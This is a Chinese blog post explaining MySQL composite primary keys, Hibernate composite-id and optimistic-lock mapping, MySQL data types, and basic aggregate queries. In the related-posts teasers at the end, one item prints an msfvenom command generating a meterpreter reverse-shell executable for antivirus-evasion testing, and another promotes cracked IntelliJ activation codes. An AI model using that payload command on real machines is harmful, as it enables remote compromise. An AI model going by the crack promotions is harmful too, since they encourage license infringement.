mysql联合主键

mysql联合主键1、hibernate配置联合主键1.1联合主键的好处:联合主键的好处是不需要因为需要主键而增加一个无用的主键列1.2联合主键的建表语句CREATETABLE`HTTP_TERMINAL_DETAIL_STATISTICS`( `TIME`CHAR(14)NOTNULLCOMMENT’时间’, `TERMINAL_TYPE`VARCHAR(128)NOTNULLCO…

大家好,又见面了,我是你们的朋友全栈君。

1、hibernate配置联合主键

1.1 联合主键的好处:

联合主键的好处是不需要因为需要主键而增加一个无用的主键列

1.2 联合主键的建表语句

CREATE TABLE `HTTP_TERMINAL_DETAIL_STATISTICS` (
	`TIME` CHAR(14) NOT NULL COMMENT '时间',
	`TERMINAL_TYPE` VARCHAR(128) NOT NULL COMMENT '终端类型',
	`TERMINAL_ID` VARCHAR(128) NOT NULL COMMENT '终端标识',
	`QUANTITY` INT(11) DEFAULT NULL COMMENT '请求数量',
	`CREATE_TIME` TIMESTAMP NULL DEFAULT NULL COMMENT '创建时间',
	`UPDATE_TIME` TIMESTAMP NULL DEFAULT NULL COMMENT '更新时间',
	`IS_DELETE` TINYINT(1) NULL DEFAULT NULL COMMENT '是否删除',
	`VERSION` INT(11) DEFAULT NULL COMMENT '乐观锁',
	`HOUR_NAME` VARCHAR(128) NULL DEFAULT NULL COMMENT '小时标识',
	`DAY_NAME` VARCHAR(128) NULL DEFAULT NULL COMMENT '天数标识',
	`MONTH_NAME` VARCHAR(128) NULL DEFAULT NULL COMMENT '月份标识',
	`YEAR_NAME` VARCHAR(128) NULL DEFAULT NULL COMMENT '年份标识',
	PRIMARY KEY (`TIME`,`TERMINAL_TYPE`,`TERMINAL_ID`)
) DEFAULT CHARSET=utf8;

1.3 联合主键的hibernate配置

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE hibernate-mapping PUBLIC 
	"-//Hibernate/Hibernate Mapping DTD 3.0//EN"
	"http://www.hibernate.org/dtd/hibernate-mapping-3.0.dtd">
<hibernate-mapping package="com.sinovoice.hcicloud.daoorm.report">
	
	<class name="HttpTerminalDetail" table="HTTP_TERMINAL_DETAIL_STATISTICS">
            <!-- 联合主键 -->
	    <composite-id>
                <key-property name="time" type="java.lang.String" column="TIME" />
                <key-property name="terminalType" type="java.lang.String" column="TERMINAL_TYPE" />
                <key-property name="terminalId" type="java.lang.String" column="TERMINAL_ID" />
            </composite-id>
        
                <!-- 乐观锁配置 version元素必须紧挨着id后面-->
		<version name="version" column="VERSION" type="java.lang.Integer"></version>
		
		<property name="quantity" type="java.lang.Integer" column="QUANTITY"/>
		<property name="createTime" column="CREATE_TIME"/>
		<property name="updateTime" column="UPDATE_TIME"/>		
		<property name="isDelete" type="java.lang.Integer" column="IS_DELETE"/>
		
		<property name="hourName" type="java.lang.String" column="HOUR_NAME"/>
		<property name="dayName" type="java.lang.String" column="DAY_NAME"/>
		<property name="monthName" type="java.lang.String" column="MONTH_NAME"/>		
		<property name="yearName" type="java.lang.String" column="YEAR_NAME"/>
	</class>
</hibernate-mapping>

2、乐观锁

2.1 什么是乐观锁

使用数据版本(Version)记录机制实现,这是乐观锁最常用的一种实现方式。何谓数据版本?即为数据增加一个版本标识,一般是通过为数据库表增加一个数字类型的 “version” 字段来实现。当读取数据时,将version字段的值一同读出,数据每更新一次,对此version值加一。当我们提交更新的时候,判断数据库表对应记录的当前版本信息与第一次取出来的version值进行比对,如果数据库表当前版本号与第一次取出来的version值相等,则予以更新,否则认为是过期数据

2.2 乐观锁的配置方式

<!-- 乐观锁配置 version元素必须紧挨着id后面-->
<version name="version" column="VERSION" type="java.lang.Integer"></version>

3、mysql数据类型

数字类型

类型 大小 范围(有符号) 范围(无符号) 用途
TINYINT 1 字节 (-128,127) (0,255) 小整数值
SMALLINT 2 字节 (-32 768,32 767) (0,65 535) 大整数值
MEDIUMINT 3 字节 (-8 388 608,8 388 607) (0,16 777 215) 大整数值
INT或INTEGER 4 字节 (-2 147 483 648,2 147 483 647) (0,4 294 967 295) 大整数值
BIGINT 8 字节 (-9 233 372 036 854 775 808,9 223 372 036 854 775 807) (0,18 446 744 073 709 551 615) 极大整数值
FLOAT 4 字节 (-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38) 0,(1.175 494 351 E-38,3.402 823 466 E+38) 单精度
浮点数值
DOUBLE 8 字节 (-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) 双精度
浮点数值
DECIMAL 对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2 依赖于M和D的值 依赖于M和D的值 小数值
日期类型

类型 大小
(字节)
范围 格式 用途
DATE 3 1000-01-01/9999-12-31 YYYY-MM-DD 日期值
TIME 3 ‘-838:59:59’/’838:59:59’ HH:MM:SS 时间值或持续时间
YEAR 1 1901/2155 YYYY 年份值
DATETIME 8 1000-01-01 00:00:00/9999-12-31 23:59:59 YYYY-MM-DD HH:MM:SS 混合日期和时间值
TIMESTAMP 4

1970-01-01 00:00:00/2038

结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07

YYYYMMDD HHMMSS 混合日期和时间值,时间戳
字符串类型
类型 大小 用途
CHAR 0-255字节 定长字符串
VARCHAR 0-65535 字节 变长字符串
TINYBLOB 0-255字节 不超过 255 个字符的二进制字符串
TINYTEXT 0-255字节 短文本字符串
BLOB 0-65 535字节 二进制形式的长文本数据
TEXT 0-65 535字节 长文本数据
MEDIUMBLOB 0-16 777 215字节 二进制形式的中等长度文本数据
MEDIUMTEXT 0-16 777 215字节 中等长度文本数据
LONGBLOB 0-4 294 967 295字节 二进制形式的极大文本数据
LONGTEXT 0-4 294 967 295字节 极大文本数据

4、mysql数据库聚合查询语句

SELECT TERMINAL_TYPE,TIME,SUM(QUANTITY) FROM HTTP_TERMINAL_DETAIL_STATISTICS GROUP BY TIME;

这个查询语句在聚合某个字段的基础上实现将当前字段进行求和计算。

5、查询mysql指定数据库的表个数:

SELECT COUNT( * ) FROM information_schema.tables WHERE TABLE_SCHEMA = ‘库名’;


版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/148211.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 程序员提高写代码速度_学完javascript学什么

    程序员提高写代码速度_学完javascript学什么优雅的代码编写格式,提升效率的同时更美观

  • 掩日免杀笔记_在线笔记

    掩日免杀笔记_在线笔记微信公众号:乌鸦安全扫取二维码获取更多信息!1.环境攻击机:kalilinux10.211.55.23受害机:Windows10360主动防御Windows7火绒主动防御2.生成exe文件在kalilinux下使用msfvenom生成一个64位的exe文件msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=10.211.55.23lport=4444-fexe…

  • php arcsin函数,excel如何计算反三角函数

    excel如何计算反三角函数Excel中计算反三角函数需要用到反余弦函数(ACOS)、反正弦函数(ASIN)和反正切函数(ATAN)。函数ACOS是用来计算指定数值的反余弦值的,公式为:=ACOS(number)。函数ASIN是用来计算指定数值的反正弦值的,公式为:=ASIN(number)。函数ATAN是用来计算指定数值的反正切值的,公式为:=ATAN(number)。反余弦函数的使用1、反余弦…

  • MBUS协议_协议解析

    MBUS协议_协议解析来自于我的163博客,一篇好好的技术文章,在163上居然提示不能显示,我2014年6月25日就翻译出来了,当时很多其他博客都是直接拷贝我的文章都能在网上发布。看了许多关于MBus协议的资料,感觉说的不具体、不完整、也不系统,本人准备结合一个具体的产品实现,从理论和实现上对MBus协议做一个详细的论述,如有不当之处,欢迎讨论。1介绍MBus(MeterB…

    2022年10月16日
  • intellij idea激活码 吾爱破解[免费获取]「建议收藏」

    (intellij idea激活码 吾爱破解)这是一篇idea技术相关文章,由全栈君为大家提供,主要知识点是关于2021JetBrains全家桶永久激活码的内容https://javaforall.cn/100143.htmlIntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,上面是详细链接哦~MLZPB5EL5Q-eyJsaWNlb…

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号